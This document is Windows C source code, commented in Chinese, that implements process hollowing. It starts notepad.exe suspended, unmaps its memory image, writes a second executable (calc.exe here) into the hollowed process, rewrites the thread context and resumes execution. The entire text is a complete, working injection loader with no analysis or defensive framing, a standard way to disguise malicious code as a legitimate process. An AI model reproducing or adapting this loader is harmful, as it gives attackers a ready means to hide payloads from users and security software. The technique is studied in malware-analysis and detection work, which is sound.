代码
#include<windows.h>#include<stdio.h>char path[MAX_PATH]="c:\\windows\\system32\\notepad.exe";//被注入的傀儡进程char path2[MAX_PATH]="c:\\Users\\Users\\Desktop\\calc.exe";//注入的进程int CreateProc(char *,PROCESS_INFORMATION * );//创建傀儡进程int UnmapView(PROCESS_INFORMATION);//卸载傀儡进程内存映射 int Injection(PROCESS_INFORMATION);//实现注入DWORD GetImageSize(char *);//获取SizeOfImageDWORD GetEntryPoint();//获取OEPDWORD GetImageBase();//获取基址CONTEXT context;//定义线程上下文结构HANDLE hfile;//要注入的文件的句柄char * pBuffer;//将文件读入内存的指针void main(){ PROCESS_INFORMATION pi; if(!CreateProc(path,&pi))//创建傀儡进程 return; if(UnmapView(pi)!=0)//卸载映射 return; if(Injection(pi)==0)//实现注入 return; printf("INJECTION SUCCESS"); system("pause");}int CreateProc(char * path,PROCESS_INFORMATION * pi){ STARTUPINFOA si; ZeroMemory(&si,sizeof(si));//初始化为0 si.cb=sizeof(si); ZeroMemory(pi,sizeof(pi)); return CreateProcessA(path,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,pi);//以挂起的方式创建进程}int UnmapView(PROCESS_INFORMATION pi){ typedef NTSTATUS (WINAPI *ZwUnmapViewOfSection)(HANDLE,LPVOID);//定义函数 ZwUnmapViewOfSection UnmapViewOfSection = (ZwUnmapViewOfSection)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")),"ZwUnmapViewOfSection");//获取函数基址 context.ContextFlags = CONTEXT_ALL; GetThreadContext(pi.hThread,&context);//获取线程上下文 DWORD base; ReadProcessMemory(pi.hProcess,(LPVOID)(context.Ebx+8),&base,sizeof(DWORD),NULL);//读取傀儡进程基址 return UnmapViewOfSection(pi.hProcess,(LPVOID)base);//卸载傀儡进程映射}int Injection(PROCESS_INFORMATION pi){ DWORD ImageSize = GetImageSize(path2);//获取要注入进程的ImageSize DWORD ImageBase = GetImageBase();//获取IMageBase context.Eax = (GetEntryPoint()+ImageBase);//获取要注入的进程的入口点,eax中保存着入口点 VirtualAllocEx(pi.hProcess,(LPVOID)ImageBase,ImageSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//在傀儡进程中申请要注入的进程所需要的空间大小,注意以注入的内容的ImageBase为基址,这样就不用修复重定位和IAT if(!WriteProcessMemory(pi.hProcess,(LPVOID)ImageBase,pBuffer,PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)->OptionalHeader.SizeOfHeaders,NULL))//将要注入的HEADER映射到傀儡进程 return 0; PIMAGE_SECTION_HEADER psection =IMAGE_FIRST_SECTION(PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)); for(int i=0;i<PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)->FileHeader.NumberOfSections;i++) { if(!WriteProcessMemory(pi.hProcess,(LPVOID)(ImageBase+psection->VirtualAddress),pBuffer+psection->PointerToRawData,psection->SizeOfRawData,NULL))//将要注入的区块映射到傀儡进程 return 0; ++psection; } if(!WriteProcessMemory(pi.hProcess,(BYTE *)context.Ebx+8,&ImageBase,sizeof(DWORD),NULL))//将要注入的修改线程上下文中的ImageBase return 0; SetThreadContext(pi.hThread,&context);//设置修改后的线程上下文 ResumeThread(pi.hThread);//恢复线程 return 1;}DWORD GetImageSize(char *path)//读入文件到内存{ hfile = CreateFileA(path2,GENERIC_READ|GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);//打开要注入的文件 if(hfile == INVALID_HANDLE_VALUE) exit(0); DWORD filesize = GetFileSize(hfile,NULL); pBuffer = new char[filesize]; ReadFile(hfile,pBuffer,filesize,&filesize,NULL); PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer); if(pDosHeader->e_magic!=0x5A4D) exit(0); PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer); return pNtHeaders->OptionalHeader.SizeOfImage;//遍历PE结构拿到SizeOfImage}DWORD GetEntryPoint(){ PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer); if(pDosHeader->e_magic!=0x5A4D) exit(0); PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer); PIMAGE_OPTIONAL_HEADER OptionalHeader = &pNtHeaders->OptionalHeader; return OptionalHeader->AddressOfEntryPoint;//遍历PE结构拿到AddressOfEntryPoint}DWORD GetImageBase(){ PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer); PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer); PIMAGE_OPTIONAL_HEADER OptionalHeader = &pNtHeaders->OptionalHeader; return OptionalHeader->ImageBase;//从PE结构找到ImageBase}